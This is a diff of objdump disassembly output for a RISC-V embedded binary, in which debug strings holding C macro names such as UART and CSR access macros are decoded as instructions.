+    810c:	5f20                	lw	s0,120(a4)
+    810e:	625f 7773 7061      	0x70617773625f
+    8114:	5f283233          	0x5f283233
+    8118:	2978                	fld	fa4,208(a0)
+    811a:	5f00                	lw	s0,56(a4)
+    811c:	5f535953          	0x5f535953
+    8120:	505f 4854 4552      	0x45524854505f
+    8126:	4441                	li	s0,16
+    8128:	5954                	lw	a3,52(a0)
+    812a:	4550                	lw	a2,12(a0)
+    812c:	5f485f53          	0x5f485f53
+    8130:	0020                	addi	s0,sp,8
+    8132:	5f5f 4c46 3654      	0x36544c465f5f
+    8138:	5f34                	lw	a3,120(a4)
+    813a:	494d                	li	s2,19
+    813c:	5f4e                	lw	t5,240(sp)
+    813e:	5845                	li	a6,-15
+    8140:	5f50                	lw	a2,60(a4)
+    8142:	205f 2d28 3031      	0x30312d28205f
+    8148:	3132                	fld	ft2,296(sp)
+    814a:	0029                	c.nop	10
+    814c:	5f5f 4e49 5f54      	0x5f544e495f5f
+    8152:	4146                	lw	sp,80(sp)
+    8154:	32335453          	0x32335453
+    8158:	545f 5059 5f45      	0x5f455059545f
+    815e:	205f 6e69 0074      	0x746e69205f
+    8164:	4155                	li	sp,21
+    8166:	5452                	lw	s0,52(sp)
+    8168:	525f 4745 6f28      	0x6f284745525f
+    816e:	6666                	flw	fa2,88(sp)
+    8170:	29746573          	csrrsi	a0,0x297,8
+    8174:	5f20                	lw	s0,120(a4)
+    8176:	4552                	lw	a0,20(sp)
+    8178:	28323347          	fmsub.s	ft6,ft4,ft3,ft5,rup
+    817c:	4155                	li	sp,21
+    817e:	5452                	lw	s0,52(sp)
+    8180:	425f 5341 2c45      	0x2c455341425f
+    8186:	6f20                	flw	fs0,88(a4)
+    8188:	6666                	flw	fa2,88(sp)
+    818a:	29746573          	csrrsi	a0,0x297,8
+    818e:	5f00                	lw	s0,56(a4)
+    8190:	545f4353          	0x545f4353
+    8194:	4152                	lw	sp,20(sp)
+    8196:	4e5f4543          	fmadd.q	fa0,ft10,ft5,fs1,rmm
+    819a:	4d41                	li	s10,16
+    819c:	5f45                	li	t5,-15
+    819e:	414d                	li	sp,19
+    81a0:	2058                	fld	fa4,128(s0)
+    81a2:	3838                	fld	fa4,112(s0)
+    81a4:	4300                	lw	s0,0(a4)
+    81a6:	4f4c                	lw	a1,28(a4)
+    81a8:	5f534b43          	fmadd.q	fs6,ft6,fs5,fa1,rmm
+    81ac:	4550                	lw	a2,12(a0)
+    81ae:	5f52                	lw	t5,52(sp)
+    81b0:	20434553          	0x20434553
+    81b4:	435f 4f4c 4b43      	0x4b434f4c435f
+    81ba:	45505f53          	0x45505f53
+    81be:	5f52                	lw	t5,52(sp)
+    81c0:	5f434553          	0x5f434553
+    81c4:	5300                	lw	s0,32(a4)
+    81c6:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    81ca:	4d5f 4e49 5f00      	0x5f004e494d5f
+    81d0:	754e                	flw	fa0,240(sp)
+    81d2:	6c6c                	flw	fa1,92(s0)
+    81d4:	6261                	lui	tp,0x18
+    81d6:	656c                	flw	fa1,76(a0)
+    81d8:	0020                	addi	s0,sp,8
+    81da:	7766                	flw	fa4,120(sp)
+    81dc:	6e65706f          	j	5f8c2 <__stack_size+0x5f0c2>
+    81e0:	5f28                	lw	a0,120(a4)
+    81e2:	635f 6f6f 696b      	0x696b6f6f635f
+    81e8:	2c65                	jal	84a0 <__stack_size+0x7ca0>
+    81ea:	5f5f 6e66 2029      	0x20296e665f5f
+    81f0:	7566                	flw	fa0,120(sp)
+    81f2:	6f6e                	flw	ft10,216(sp)
+    81f4:	6570                	flw	fa2,76(a0)
+    81f6:	286e                	fld	fa6,216(sp)
+    81f8:	5f5f 6f63 6b6f      	0x6b6f6f635f5f
+    81fe:	6569                	lui	a0,0x1a
+    8200:	202c                	fld	fa1,64(s0)
+    8202:	6928                	flw	fa0,80(a0)
+    8204:	746e                	flw	fs0,248(sp)
+    8206:	2820                	fld	fs0,80(s0)
+    8208:	292a                	fld	fs2,136(sp)
+    820a:	2928                	fld	fa0,80(a0)
+    820c:	3029                	jal	7a16 <__stack_size+0x7216>
+    820e:	202c                	fld	fa1,64(s0)
+    8210:	5f5f 6e66 202c      	0x202c6e665f5f
+    8216:	6628                	flw	fa0,72(a2)
+    8218:	6f70                	flw	fa2,92(a4)
+    821a:	20745f73          	csrrwi	t5,0x207,8
+    821e:	2a28                	fld	fa0,80(a2)
+    8220:	2829                	jal	823a <__stack_size+0x7a3a>
+    8222:	2929                	jal	863c <__stack_size+0x7e3c>
+    8224:	2c30                	fld	fa2,88(s0)
+    8226:	2820                	fld	fs0,80(s0)
+    8228:	6e69                	lui	t3,0x1a
+    822a:	2074                	fld	fa3,192(s0)
+    822c:	2a28                	fld	fa0,80(a2)
+    822e:	2829                	jal	8248 <__stack_size+0x7a48>
+    8230:	2929                	jal	864a <__stack_size+0x7e4a>
+    8232:	2930                	fld	fa2,80(a0)
+    8234:	5300                	lw	s0,32(a4)
+    8236:	495f 5752 4758      	0x47585752495f
+    823c:	2820                	fld	fs0,80(s0)
+    823e:	52495f53          	0x52495f53
+    8242:	20505247          	fmsub.s	ft4,ft0,ft5,ft4,unknown
+    8246:	207c                	fld	fa5,192(s0)
+    8248:	57495f53          	0x57495f53
+    824c:	20505247          	fmsub.s	ft4,ft0,ft5,ft4,unknown
+    8250:	207c                	fld	fa5,192(s0)
+    8252:	58495f53          	0x58495f53
+    8256:	29505247          	fmsub.s	ft4,ft0,fs5,ft5,unknown
+    825a:	4f00                	lw	s0,24(a4)
+    825c:	445f 5249 4345      	0x43455249445f
+    8262:	4f54                	lw	a3,28(a4)
+    8264:	5952                	lw	s2,52(sp)
+    8266:	5f20                	lw	s0,120(a4)
+    8268:	4446                	lw	s0,80(sp)
+    826a:	5249                	li	tp,-14
+    826c:	4345                	li	t1,17
+    826e:	4f54                	lw	a3,28(a4)
+    8270:	5952                	lw	s2,52(sp)
+    8272:	5f00                	lw	s0,56(a4)
+    8274:	4f4e                	lw	t5,208(sp)
+    8276:	4854                	lw	a3,20(s0)
+    8278:	4f52                	lw	t5,20(sp)
+    827a:	5f002057          	0x5f002057
+    827e:	435f 5f43 5553      	0x55535f43435f
+    8284:	5050                	lw	a2,36(s0)
+    8286:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
+    828a:	5f5f 495f 4c4e      	0x4c4e495f5f5f
+    8290:	4e49                	li	t3,18
+    8292:	5f45                	li	t5,-15
+    8294:	205f 0031 465f      	0x465f0031205f
+    829a:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
+    829e:	2820                	fld	fs0,80(s0)
+    82a0:	312d                	jal	7eca <__stack_size+0x76ca>
+    82a2:	0029                	c.nop	10
+    82a4:	735f 6474 756f      	0x756f6474735f
+    82aa:	5f74                	lw	a3,124(a4)
+    82ac:	2872                	fld	fa6,280(sp)
+    82ae:	2978                	fld	fa4,208(a0)
+    82b0:	2820                	fld	fs0,80(s0)
+    82b2:	7828                	flw	fa0,112(s0)
+    82b4:	2d29                	jal	88ce <__stack_size+0x80ce>
+    82b6:	5f3e                	lw	t5,236(sp)
+    82b8:	6f647473          	csrrci	s0,0x6f6,8
+    82bc:	7475                	lui	s0,0xffffd
+    82be:	0029                	c.nop	10
+    82c0:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+    82c4:	495f 504e 5455      	0x5455504e495f
+    82ca:	455f 204e 7830      	0x7830204e455f
+    82d0:	3430                	fld	fa2,104(s0)
+    82d2:	5f00                	lw	s0,56(a4)
+    82d4:	4955                	li	s2,21
+    82d6:	5f44                	lw	s1,60(a4)
+    82d8:	5f54                	lw	a3,60(a4)
+    82da:	4544                	lw	s1,12(a0)
+    82dc:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    82e0:	4445                	li	s0,17
+    82e2:	0020                	addi	s0,sp,8
+    82e4:	5f5f 5441 5254      	0x525454415f5f
+    82ea:	4249                	li	tp,18
+    82ec:	5455                	li	s0,-11
+    82ee:	5f45                	li	t5,-15
+    82f0:	4d49                	li	s10,18
+    82f2:	5550                	lw	a2,44(a0)
+    82f4:	4552                	lw	a0,20(sp)
+    82f6:	505f 5254 5f5f      	0x5f5f5254505f
+    82fc:	0020                	addi	s0,sp,8
+    82fe:	4c4c4f43          	0x4c4c4f43
+    8302:	575f 4945 4847      	0x48474945575f
+    8308:	5354                	lw	a3,36(a4)
+    830a:	4d5f 5841 3020      	0x302058414d5f
+    8310:	5f00                	lw	s0,56(a4)
+    8312:	475f4353          	0x475f4353
+    8316:	5445                	li	s0,-15
+    8318:	5750                	lw	a2,44(a4)
+    831a:	525f 535f 5a49      	0x5a49535f525f
+    8320:	5f45                	li	t5,-15
+    8322:	414d                	li	sp,19
+    8324:	2058                	fld	fa4,128(s0)
+    8326:	3135                	jal	7f52 <__stack_size+0x7752>
+    8328:	5f00                	lw	s0,56(a4)
+    832a:	4552                	lw	a0,20(sp)
+    832c:	4e45                	li	t3,17
+    832e:	5f54                	lw	a3,60(a4)
+    8330:	4e49                	li	t3,18
+    8332:	5449                	li	s0,-14
+    8334:	415f 4554 4958      	0x49584554415f
+    833a:	2054                	fld	fa3,128(s0)
+    833c:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
+    8342:	5f20                	lw	s0,120(a4)
+    8344:	5441                	li	s0,-16
+    8346:	5845                	li	a6,-15
+    8348:	5449                	li	s0,-14
+    834a:	495f 494e 2c54      	0x2c54494e495f
+    8350:	5f00                	lw	s0,56(a4)
+    8352:	4552                	lw	a0,20(sp)
+    8354:	4e45                	li	t3,17
+    8356:	5f54                	lw	a3,60(a4)
+    8358:	4e474953          	0x4e474953
+    835c:	4c41                	li	s8,16
+    835e:	535f 5a49 2045      	0x20455a49535f
+    8364:	3432                	fld	fs0,296(sp)
+    8366:	5f00                	lw	s0,56(a4)
+    8368:	5f535953          	0x5f535953
+    836c:	4552                	lw	a0,20(sp)
+    836e:	4e45                	li	t3,17
+    8370:	5f54                	lw	a3,60(a4)
+    8372:	5f48                	lw	a0,60(a4)
+    8374:	0020                	addi	s0,sp,8
+    8376:	5f5f 4c46 3354      	0x33544c465f5f
+    837c:	5832                	lw	a6,44(sp)
+    837e:	4d5f 4e49 455f      	0x455f4e494d5f
+    8384:	5058                	lw	a4,36(s0)
+    8386:	5f5f 2820 312d      	0x312d28205f5f
+    838c:	3230                	fld	fa2,96(a2)
+    838e:	2931                	jal	87aa <__stack_size+0x7faa>
+    8390:	4600                	lw	s0,8(a2)
+    8392:	5f44                	lw	s1,60(a4)
+    8394:	53544553          	0x53544553
+    8398:	5a49                	li	s4,-14
+    839a:	2045                	jal	843a <__stack_size+0x7c3a>
+    839c:	3436                	fld	fs0,360(sp)
+    839e:	4300                	lw	s0,0(a4)
+    83a0:	4d5f5253          	0x4d5f5253
+    83a4:	4c435943          	0x4c435943
+    83a8:	4845                	li	a6,17
+    83aa:	3120                	fld	fs0,96(a0)
+    83ac:	425f0037          	lui	zero,0x425f0
+    83b0:	505f4453          	0x505f4453
+    83b4:	5254                	lw	a3,36(a2)
+    83b6:	4944                	lw	s1,20(a0)
+    83b8:	4646                	lw	a2,80(sp)
+    83ba:	545f 205f 5f00      	0x5f00205f545f
+    83c0:	575f 4843 5241      	0x52414843575f
+    83c6:	545f 0020 5f5f      	0x5f5f0020545f
+    83cc:	4244                	lw	s1,4(a2)
+    83ce:	5f4c                	lw	a1,60(a4)
+    83d0:	4944                	lw	s1,20(a0)
+    83d2:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    83d6:	3531                	jal	81e2 <__stack_size+0x79e2>
+    83d8:	5f00                	lw	s0,56(a4)
+    83da:	435f 5f43 5553      	0x55535f43435f
+    83e0:	5050                	lw	a2,36(s0)
+    83e2:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
+    83e6:	5f5f 465f 4e55      	0x4e55465f5f5f
+    83ec:	205f5f43          	fmadd.s	ft10,ft10,ft5,ft4,unknown
     83f0:	0031                	c.nop	12
-    83f2:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    83f6:	425f 5449 5f00      	0x5f005449425f
-    83fc:	495f 544e 3631      	0x3631544e495f
-    8402:	435f 6328 2029      	0x20296328435f
-    8408:	4e490063          	beq	s2,tp,88e8 <__stack_size+0x80e8>
-    840c:	3154                	fld	fa3,160(a0)
-    840e:	5f36                	lw	t5,108(sp)
-    8410:	494d                	li	s2,19
-    8412:	004e                	c.slli	zero,0x13
-    8414:	4f5f 4646 545f      	0x545f46464f5f
-    841a:	445f 4345 414c      	0x414c4345445f
-    8420:	4552                	lw	a0,20(sp)
-    8422:	2044                	fld	fs1,128(s0)
-    8424:	5700                	lw	s0,40(a4)
-    8426:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    842a:	4d5f 4e49 5f20      	0x5f204e494d5f
-    8430:	575f 4843 5241      	0x52414843575f
-    8436:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    843c:	5f00                	lw	s0,56(a4)
-    843e:	615f 7474 6972      	0x69727474615f
-    8444:	7562                	flw	fa0,56(sp)
-    8446:	6574                	flw	fa3,76(a0)
-    8448:	665f 726f 616d      	0x616d726f665f
-    844e:	5f74                	lw	a3,124(a4)
-    8450:	66727473          	csrrci	s0,0x667,4
-    8454:	6f6d                	lui	t5,0x1b
-    8456:	5f6e                	lw	t5,248(sp)
-    8458:	285f 2c61 2962      	0x29622c61285f
-    845e:	0020                	addi	s0,sp,8
-    8460:	5f5f 4c46 3154      	0x31544c465f5f
-    8466:	3832                	fld	fa6,296(sp)
-    8468:	485f 5341 495f      	0x495f5341485f
-    846e:	464e                	lw	a2,208(sp)
-    8470:	4e49                	li	t3,18
-    8472:	5449                	li	s0,-14
-    8474:	5f59                	li	t5,-10
-    8476:	205f 0031 5f5f      	0x5f5f0031205f
-    847c:	736c                	flw	fa1,100(a4)
-    847e:	7268                	flw	fa0,100(a2)
-    8480:	6964                	flw	fs1,84(a0)
-    8482:	5f5f0033          	0x5f5f0033
-    8486:	455a4953          	0x455a4953
-    848a:	535f464f          	fnmadd.d	fa2,ft10,fs5,fa0,rmm
-    848e:	4f48                	lw	a0,28(a4)
-    8490:	5452                	lw	s0,52(sp)
-    8492:	5f5f 3220 4c00      	0x4c0032205f5f
-    8498:	4445                	li	s0,17
-    849a:	525f 4445 3120      	0x31204445525f
-    84a0:	5500                	lw	s0,40(a0)
-    84a2:	4e49                	li	t3,18
-    84a4:	5054                	lw	a3,36(s0)
-    84a6:	5254                	lw	a3,36(a2)
-    84a8:	4d5f 5841 5f20      	0x5f2058414d5f
-    84ae:	555f 4e49 5054      	0x50544e49555f
-    84b4:	5254                	lw	a3,36(a2)
-    84b6:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    84bc:	4900                	lw	s0,16(a0)
-    84be:	544e                	lw	s0,240(sp)
-    84c0:	5f38                	lw	a4,120(a4)
-    84c2:	414d                	li	sp,19
-    84c4:	2058                	fld	fa4,128(s0)
-    84c6:	5f5f 4e49 3854      	0x38544e495f5f
-    84cc:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    84d2:	5f00                	lw	s0,56(a4)
-    84d4:	685f 7661 5f65      	0x5f657661685f
-    84da:	6f6c                	flw	fa1,92(a4)
-    84dc:	676e                	flw	fa4,216(sp)
-    84de:	31203233          	0x31203233
-    84e2:	5300                	lw	s0,32(a4)
-    84e4:	495f 4353 5248      	0x52484353495f
-    84ea:	6d28                	flw	fa0,88(a0)
-    84ec:	2029                	jal	84f6 <__stack_size+0x7cf6>
-    84ee:	2828                	fld	fa0,80(s0)
-    84f0:	6d28                	flw	fa0,88(a0)
-    84f2:	2629                	jal	87fc <__stack_size+0x7ffc>
-    84f4:	495f 4d46 2954      	0x29544d46495f
-    84fa:	3d20                	fld	fs0,120(a0)
-    84fc:	203d                	jal	852a <__stack_size+0x7d2a>
-    84fe:	495f 4346 5248      	0x52484346495f
-    8504:	0029                	c.nop	10
-    8506:	4f49                	li	t5,18
-    8508:	5f56                	lw	t5,116(sp)
-    850a:	414d                	li	sp,19
-    850c:	2058                	fld	fa4,128(s0)
-    850e:	3031                	jal	7d1a <__stack_size+0x751a>
-    8510:	3432                	fld	fs0,296(sp)
-    8512:	7400                	flw	fs0,40(s0)
-    8514:	6172                	flw	ft2,28(sp)
-    8516:	5f70                	lw	a2,124(a4)
-    8518:	6168                	flw	fa0,68(a0)
-    851a:	646e                	flw	fs0,216(sp)
-    851c:	656c                	flw	fa1,76(a0)
-    851e:	0072                	c.slli	zero,0x1c
-    8520:	5f5f 4955 544e      	0x544e49555f5f
-    8526:	5f38                	lw	a4,120(a4)
-    8528:	414d                	li	sp,19
-    852a:	5f58                	lw	a4,60(a4)
-    852c:	205f 7830 6666      	0x66667830205f
-    8532:	2f00                	fld	fs0,24(a4)
-    8534:	6f68                	flw	fa0,92(a4)
-    8536:	656d                	lui	a0,0x1b
-    8538:	7369722f          	0x7369722f
-    853c:	742f7663          	bgeu	t5,sp,8c88 <__stack_size+0x8488>
-    8540:	736c6f6f          	jal	t5,cec76 <__stack_size+0xce476>
-    8544:	696e752f          	0x696e752f
-    8548:	7270                	flw	fa2,100(a2)
-    854a:	6b656a6f          	jal	s4,5ec00 <__stack_size+0x5e400>
-    854e:	2f74                	fld	fa3,216(a4)
-    8550:	7241                	lui	tp,0xffff0
-    8552:	7974                	flw	fa3,116(a0)
-    8554:	6d49                	lui	s10,0x12
-    8556:	6c70                	flw	fa2,92(s0)
-    8558:	6d65                	lui	s10,0x19
-    855a:	6e65                	lui	t3,0x19
-    855c:	6174                	flw	fa3,68(a0)
-    855e:	6974                	flw	fa3,84(a0)
-    8560:	7a2f6e6f          	jal	t3,fed02 <__stack_size+0xfe502>
-    8564:	32656e6f          	jal	t3,5e88a <__stack_size+0x5e08a>
-    8568:	5f00                	lw	s0,56(a4)
-    856a:	535f 424d 2046      	0x2046424d535f
-    8570:	7830                	flw	fa2,112(s0)
-    8572:	3030                	fld	fa2,96(s0)
-    8574:	3038                	fld	fa4,96(s0)
-    8576:	5f00                	lw	s0,56(a4)
-    8578:	4649                	li	a2,18
-    857a:	544d                	li	s0,-13
-    857c:	3020                	fld	fs0,96(s0)
-    857e:	3731                	jal	848a <__stack_size+0x7c8a>
-    8580:	3030                	fld	fa2,96(s0)
-    8582:	3030                	fld	fa2,96(s0)
-    8584:	5f00                	lw	s0,56(a4)
-    8586:	465f 544c 3233      	0x3233544c465f
-    858c:	5f58                	lw	a4,60(a4)
-    858e:	4f4e                	lw	t5,208(sp)
-    8590:	4d52                	lw	s10,20(sp)
-    8592:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    8598:	3120                	fld	fs0,96(a0)
-    859a:	372e                	fld	fa4,232(sp)
-    859c:	3739                	jal	84aa <__stack_size+0x7caa>
-    859e:	3936                	fld	fs2,360(sp)
-    85a0:	34333133          	0x34333133
-    85a4:	3638                	fld	fa4,104(a2)
-    85a6:	3332                	fld	ft6,296(sp)
-    85a8:	3531                	jal	83b4 <__stack_size+0x7bb4>
-    85aa:	31383037          	lui	zero,0x31383
-    85ae:	3534                	fld	fa3,104(a0)
-    85b0:	3732                	fld	fa4,296(sp)
-    85b2:	3234                	fld	fa3,96(a2)
-    85b4:	31333733          	0x31333733
-    85b8:	33343037          	lui	zero,0x33343
-    85bc:	3735                	jal	84e8 <__stack_size+0x7ce8>
-    85be:	2b65                	jal	8b76 <__stack_size+0x8376>
-    85c0:	46383033          	0x46383033
-    85c4:	00783233          	sltu	tp,a6,t2
-    85c8:	535f 5f43 4853      	0x48535f43535f
-    85ce:	4c45                	li	s8,17
-    85d0:	204c                	fld	fa1,128(s0)
-    85d2:	50003437          	lui	s0,0x50003
-    85d6:	4854                	lw	a3,20(s0)
-    85d8:	4552                	lw	a0,20(sp)
-    85da:	4441                	li	s0,16
-    85dc:	435f 4552 5441      	0x54414552435f
-    85e2:	5f45                	li	t5,-15
-    85e4:	4f4a                	lw	t5,144(sp)
-    85e6:	4e49                	li	t3,18
-    85e8:	4241                	li	tp,16
-    85ea:	454c                	lw	a1,12(a0)
-    85ec:	3120                	fld	fs0,96(a0)
-    85ee:	5000                	lw	s0,32(s0)
-    85f0:	494c                	lw	a1,20(a0)
-    85f2:	52505f43          	fmadd.d	ft10,ft0,ft5,fa0,unknown
-    85f6:	5f49                	li	t5,-14
-    85f8:	5346464f          	fnmadd.d	fa2,fa2,fs4,fa0,rmm
-    85fc:	5445                	li	s0,-15
-    85fe:	3020                	fld	fs0,96(s0)
-    8600:	4600                	lw	s0,8(a2)
-    8602:	4f4e                	lw	t5,208(sp)
-    8604:	424e                	lw	tp,208(sp)
-    8606:	4f49                	li	t5,18
-    8608:	5f20                	lw	s0,120(a4)
-    860a:	4e46                	lw	t3,80(sp)
-    860c:	4c424e4f          	0x4c424e4f
-    8610:	004b434f          	fnmadd.s	ft6,fs6,ft4,ft0,rmm
-    8614:	535f 5f43 5953      	0x59535f43535f
-    861a:	434e                	lw	t1,208(sp)
-    861c:	5248                	lw	a0,36(a2)
-    861e:	5a494e4f          	fnmadd.d	ft8,fs2,ft4,fa1,rmm
-    8622:	4445                	li	s0,17
-    8624:	495f 204f 3233      	0x3233204f495f
-    862a:	5f00                	lw	s0,56(a4)
-    862c:	425f 4745 4e49      	0x4e494745425f
-    8632:	445f 4345 534c      	0x534c4345445f
-    8638:	0020                	addi	s0,sp,8
-    863a:	43525343          	fmadd.d	ft6,ft4,fs5,fs0,unknown
-    863e:	6328                	flw	fa0,64(a4)
-    8640:	722c7273          	csrrci	tp,0x722,24
-    8644:	28202973          	csrr	s2,0x282
-    8648:	6e75207b          	0x6e75207b
-    864c:	6e676973          	csrrsi	s2,0x6e6,14
-    8650:	6465                	lui	s0,0x19
-    8652:	6c20                	flw	fs0,88(s0)
-    8654:	20676e6f          	jal	t3,7e85a <__stack_size+0x7e05a>
-    8658:	6472                	flw	fs0,28(sp)
-    865a:	6669203b          	0x6669203b
-    865e:	2820                	fld	fs0,80(s0)
-    8660:	5f5f 7562 6c69      	0x6c6975625f5f
-    8666:	6974                	flw	fa3,84(a0)
-    8668:	5f6e                	lw	t5,248(sp)
-    866a:	736e6f63          	bltu	t3,s6,8da8 <__stack_size+0x85a8>
-    866e:	6174                	flw	fa3,68(a0)
-    8670:	746e                	flw	fs0,248(sp)
-    8672:	705f 7228 2973      	0x29737228705f
-    8678:	2620                	fld	fs0,72(a2)
-    867a:	2026                	fld	ft0,72(sp)
-    867c:	7528                	flw	fa0,104(a0)
-    867e:	736e                	flw	ft6,248(sp)
-    8680:	6769                	lui	a4,0x1a
-    8682:	656e                	flw	fa0,216(sp)
-    8684:	2064                	fld	fs1,192(s0)
-    8686:	6f6c                	flw	fa1,92(a4)
-    8688:	676e                	flw	fa4,216(sp)
-    868a:	2829                	jal	86a4 <__stack_size+0x7ea4>
-    868c:	7372                	flw	ft6,60(sp)
-    868e:	2029                	jal	8698 <__stack_size+0x7e98>
-    8690:	203c                	fld	fa5,64(s0)
-    8692:	20293233          	0x20293233
-    8696:	7361                	lui	t1,0xffff8
-    8698:	206d                	jal	8742 <__stack_size+0x7f42>
-    869a:	6f76                	flw	ft10,92(sp)
-    869c:	616c                	flw	fa1,68(a0)
-    869e:	6974                	flw	fa3,84(a0)
-    86a0:	656c                	flw	fa1,76(a0)
-    86a2:	2820                	fld	fs0,80(s0)
-    86a4:	6322                	flw	ft6,8(sp)
-    86a6:	63727273          	csrrci	tp,0x637,4
-    86aa:	2069                	jal	8734 <__stack_size+0x7f34>
-    86ac:	3025                	jal	7ed4 <__stack_size+0x76d4>
-    86ae:	202c                	fld	fa1,64(s0)
-    86b0:	2022                	fld	ft0,8(sp)
-    86b2:	72736323          	0x72736323
-    86b6:	2220                	fld	fs0,64(a2)
-    86b8:	202c                	fld	fa1,64(s0)
-    86ba:	3125                	jal	82e2 <__stack_size+0x7ae2>
-    86bc:	2022                	fld	ft0,8(sp)
-    86be:	203a                	fld	ft0,392(sp)
-    86c0:	3d22                	fld	fs10,40(sp)
-    86c2:	2272                	fld	ft4,280(sp)
-    86c4:	7228                	flw	fa0,96(a2)
-    86c6:	2964                	fld	fs1,208(a0)
-    86c8:	3a20                	fld	fs0,112(a2)
-    86ca:	2220                	fld	fs0,64(a2)
-    86cc:	7228224b          	fnmsub.d	ft4,fa6,ft2,fa4,rdn
-    86d0:	3b292973          	csrrs	s2,pmpaddr2,s2
-    86d4:	6520                	flw	fs0,72(a0)
-    86d6:	736c                	flw	fa1,100(a4)
-    86d8:	2065                	jal	8780 <__stack_size+0x7f80>
-    86da:	7361                	lui	t1,0xffff8
-    86dc:	206d                	jal	8786 <__stack_size+0x7f86>
-    86de:	6f76                	flw	ft10,92(sp)
-    86e0:	616c                	flw	fa1,68(a0)
-    86e2:	6974                	flw	fa3,84(a0)
-    86e4:	656c                	flw	fa1,76(a0)
-    86e6:	2820                	fld	fs0,80(s0)
-    86e8:	6322                	flw	ft6,8(sp)
-    86ea:	63727273          	csrrci	tp,0x637,4
-    86ee:	2520                	fld	fs0,72(a0)
-    86f0:	2c30                	fld	fa2,88(s0)
-    86f2:	2220                	fld	fs0,64(a2)
-    86f4:	2320                	fld	fs0,64(a4)
-    86f6:	20727363          	bgeu	tp,t2,88fc <__stack_size+0x80fc>
-    86fa:	2c22                	fld	fs8,8(sp)
-    86fc:	2520                	fld	fs0,72(a0)
-    86fe:	2231                	jal	880a <__stack_size+0x800a>
-    8700:	3a20                	fld	fs0,112(a2)
-    8702:	2220                	fld	fs0,64(a2)
-    8704:	723d                	lui	tp,0xfffef
-    8706:	2822                	fld	fa6,8(sp)
-    8708:	6472                	flw	fs0,28(sp)
-    870a:	2029                	jal	8714 <__stack_size+0x7f14>
-    870c:	203a                	fld	ft0,392(sp)
-    870e:	7222                	flw	ft4,40(sp)
-    8710:	2822                	fld	fa6,8(sp)
-    8712:	7372                	flw	ft6,60(sp)
-    8714:	2929                	jal	8b2e <__stack_size+0x832e>
-    8716:	6472203b          	0x6472203b
-    871a:	297d203b          	0x297d203b
-    871e:	5500                	lw	s0,40(a0)
-    8720:	5241                	li	tp,-16
-    8722:	5f54                	lw	a3,60(a4)
-    8724:	4142                	lw	sp,16(sp)
-    8726:	30204553          	0x30204553
-    872a:	3178                	fld	fa4,224(a0)
-    872c:	3030                	fld	fa2,96(s0)
-    872e:	3331                	jal	843a <__stack_size+0x7c3a>
-    8730:	3030                	fld	fa2,96(s0)
-    8732:	0030                	addi	a2,sp,8
-    8734:	525f 4545 544e      	0x544e4545525f
-    873a:	535f 414d 4c4c      	0x4c4c414d535f
-    8740:	435f 4548 4b43      	0x4b434548435f
-    8746:	495f 494e 2854      	0x2854494e495f
-    874c:	7470                	flw	fa2,108(s0)
-    874e:	2972                	fld	fs2,280(sp)
-    8750:	0020                	addi	s0,sp,8
-    8752:	4c55                	li	s8,21
-    8754:	4f4c                	lw	a1,28(a4)
-    8756:	474e                	lw	a4,208(sp)
-    8758:	4d5f 5841 2820      	0x282058414d5f
-    875e:	4c4c                	lw	a1,28(s0)
-    8760:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    8764:	414d                	li	sp,19
-    8766:	2058                	fld	fa4,128(s0)
-    8768:	202a                	fld	ft0,136(sp)
-    876a:	5532                	lw	a0,44(sp)
-    876c:	4c4c                	lw	a1,28(s0)
-    876e:	2b20                	fld	fs0,80(a4)
-    8770:	3120                	fld	fs0,96(a0)
-    8772:	4c55                	li	s8,21
-    8774:	294c                	fld	fa1,144(a0)
-    8776:	5500                	lw	s0,40(a0)
-    8778:	4e49                	li	t3,18
-    877a:	5f54                	lw	a3,60(a4)
-    877c:	4146                	lw	sp,80(sp)
-    877e:	36315453          	0x36315453
-    8782:	4d5f 5841 5f00      	0x5f0058414d5f
-    8788:	465f 544c 3436      	0x3436544c465f
-    878e:	445f 4345 4d49      	0x4d494345445f
-    8794:	4c41                	li	s8,16
-    8796:	445f 4749 5f5f      	0x5f5f4749445f
-    879c:	3120                	fld	fs0,96(a0)
-    879e:	5f5f0037          	lui	zero,0x5f5f0
-    87a2:	4955                	li	s2,21
-    87a4:	544e                	lw	s0,240(sp)
-    87a6:	5450                	lw	a2,44(s0)
-    87a8:	5f52                	lw	t5,52(sp)
-    87aa:	414d                	li	sp,19
-    87ac:	5f58                	lw	a4,60(a4)
-    87ae:	205f 7830 6666      	0x66667830205f
-    87b4:	6666                	flw	fa2,88(sp)
-    87b6:	6666                	flw	fa2,88(sp)
-    87b8:	6666                	flw	fa2,88(sp)
-    87ba:	0055                	c.nop	21
-    87bc:	7a6d                	lui	s4,0xffffb
-    87be:	20656e6f          	jal	t3,5e9c4 <__stack_size+0x5e1c4>
-    87c2:	2e22                	fld	ft8,8(sp)
-    87c4:	64726f77          	0x64726f77
-    87c8:	3020                	fld	fs0,96(s0)
-    87ca:	3078                	fld	fa4,224(s0)
-    87cc:	3330                	fld	fa2,96(a4)
-    87ce:	3030                	fld	fa2,96(s0)
-    87d0:	3730                	fld	fa2,104(a4)
-    87d2:	00223b33          	sltu	s6,tp,sp
-    87d6:	5f46                	lw	t5,112(sp)
-    87d8:	4452                	lw	s0,20(sp)
-    87da:	434c                	lw	a1,4(a4)
-    87dc:	0031204b          	fnmsub.s	ft0,ft2,ft3,ft0,rdn
-    87e0:	535f 5f43 4853      	0x48535f43535f
-    87e6:	5241                	li	tp,-16
-    87e8:	4445                	li	s0,17
-    87ea:	4d5f 4d45 524f      	0x524f4d454d5f
-    87f0:	5f59                	li	t5,-10
-    87f2:	454a424f          	0x454a424f
-    87f6:	20535443          	fmadd.s	fs0,ft6,ft5,ft4,unknown
